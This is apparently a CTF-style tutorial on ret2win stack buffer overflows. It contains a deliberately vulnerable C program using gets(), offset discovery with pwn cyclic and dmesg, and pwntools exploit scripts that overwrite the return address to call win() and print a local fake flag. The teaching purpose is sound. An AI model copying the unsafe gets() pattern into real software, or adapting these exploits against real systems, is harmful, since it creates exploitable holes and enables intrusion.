Skip to main content

Definition

Definition

A ret2win challenge is the most basic challenge in binary exploitation, where the goal is to change the normal flow of execution to execute another function to win, which usually reads a flag.

main.c
#include <stdio.h>
#include <stdlib.h>

void win()
{
system("/bin/cat flag.txt");
}

void pwnme()
{
char buffer[20] = {0};
printf("Hello, what is your name ?\n");
gets(buffer);
printf("Hello %s\n", buffer);
}

int main()
{
pwnme();
return 0;
}

When looking at the code, there is no way to normally call the function win().

But with what we've seen before, it is actually possible to hijack the execution flow: we just need to overwrite the EIP (saved return address) with the address of win().

But to do that, we need to find the exact number of bytes until we overwrite the EIP (the "padding").

Guided example

  • Copy paste the above code into main.c

Then run the following commands to compile into a binary.

gcc -m32 -no-pie main.c -o main
echo 'FAKE_FLAG{CYBER2}' > flag.txt

Finding the padding

We could send "A" and increase the number of "A" until we find the correct padding, but there are many faster ways. We'll explain one of them here, you can find the others in the cheatsheet.

We'll use pwn cyclic <n> to generate a "De Bruijin" sequence, where there is no similar substrings.

➜  ~ pwn cyclic 40
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
  • Run the program, and paste the generated sequence

    ➜  ~ ./main
    Hello, what is your name?
    aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
    Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
    [1] 617 segmentation fault (core dumped) ./main
  • Check the messages from the kernel ring buffer

    ➜  ~ dmesg -t
    # ...
    main[95689]: segfault at 61616169 ip 0000000061616169 sp 00000000ffb661b0 error 14 in libc-2.31.so[f7db5000+19000] likely on CPU 3 (core 0, socket 6)
    Code: Unable to access opcode bytes at RIP 0x6161613f.
  • Copy the address where the program segfaulted

    ➜  ~ pwn cyclic -l 0x61616169
    32

So we need to write 32 bytes to reach the saved return address.

Finding the address

What address do we put in place of the original saved return address ? The address of the function win().

To find its address, we can just list the symbols in the binary

➜  ~ nm main
# ...
08049192 T win
# ...

So the address of the function win() is 0x08049192.

Writing a first exploit

We could send raw bytes directly from the CLI, but it's ugly and not practical, so we'll use python and pwntools instead.

exploit.py
from pwn import *

target = './main'
elf = context.binary = ELF(target)

payload = 'A' * 32 # padding
payload += '\x08\x04\x91\x92' # address of `win()`

p = process() # no need to put the path in arguments, since the context.binary is set

log.info(p.clean()) # receive output
p.sendline(payload) # send the payload
log.info(p.clean()) # receive output with flag

We run the exploit :

  ~ python3 exploit.py 
[*] '/root/main'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process '/root/main': pid 730
/usr/local/lib/python3.9/dist-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] Hello, what is your name?
/root/exploit.py:12: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(payload) # send the payload
/usr/local/lib/python3.9/dist-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x04
[*] Process '/root/main' stopped with exit code -11 (SIGSEGV) (pid 730)

It looks like it did not work. The flag was not printed.

Let's try to understand why, using gdb.

First run tmux (gdb requires it when inside a docker container)

Edit the exploit, and re-run it :

exploit.py
from pwn import *

target = './main'
elf = context.binary = ELF(target)

payload = 'A' * 32 # padding
payload += '\x08\x04\x91\x86' # address of `win()`

p = process() # no need to put the path in arguments, since the context.binary is set
gdb.attach(p) # attach gdb to the process
log.info(p.clean()) # receive output
p.sendline(payload) # send the payload
p.interactive() # set to interactive mode so that we can control gdb
log.info(p.clean()) # receive output with flag

Continue until it crashes :

pwndbg> c

question

Do you recognize the invalid address 0x92910408 ?

Hint
Check the payload in your exploit.
Answer
It's the address of win() function, but written in reverse order. The reason is the endianness. There are 2 types of endianness: big-endian, and little-endian. Most binaries you will work with are little-endian. A quick explanation is that bytes are represented in reverse order in memory for little-endian binaries. If you want to know more about it, check this page.

Finding the endianness

We can use pwntools for that :

➜  ~ pwn checksec main
[*] '/root/main'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

It is clearly stated in Arch: the binary supports 32-bit architecture, in little-endian.

Accounting for endianness

In python, reversing a string is quite easy:

payload += '\x08\x04\x91\x92'[::-1]

So our updated exploit looks like :

exploit.py
from pwn import *

target = './main'
elf = context.binary = ELF(target)

payload = 'A' * 32 # padding
payload += '\x08\x04\x91\x92'[::-1] # address of `win()`

p = process() # no need to put the path in arguments, since the context.binary is set
print(p.clean()) # receive output
p.sendline(payload) # send the payload
print(p.clean()) # receive output with flag

Run the exploit again :

➜  ~ python3 exploit.py 
[*] '/root/main'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process '/root/main': pid 860
/usr/local/lib/python3.9/dist-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] Hello, what is your name?
/root/exploit.py:12: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(payload) # send the payload
/usr/local/lib/python3.9/dist-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0
FAKE_FLAG{CYBER2}
[*] Stopped process '/root/main' (pid 860)

Endianness with pwntools

pwntools has a built-in function to make endianness simpler.

payload += '\x08\x04\x91\x92'[::-1]  # address of `win()`

can be replaced with :

payload += p32(0x08049192)

However, it will convert the address to bytes, so we have to change the first part of the payload.

payload = b'A' * 32   # notice the b

Otherwise you will get an error :

TypeError: can only concatenate str (not "bytes") to str

Writing the final exploit

from pwn import *

target = './main'

elf = context.binary = ELF(target)

payload = b'A' * 32
payload += p32(0x08049192)

p = process()
log.info(p.clean())
p.sendline(payload)
log.info(p.clean())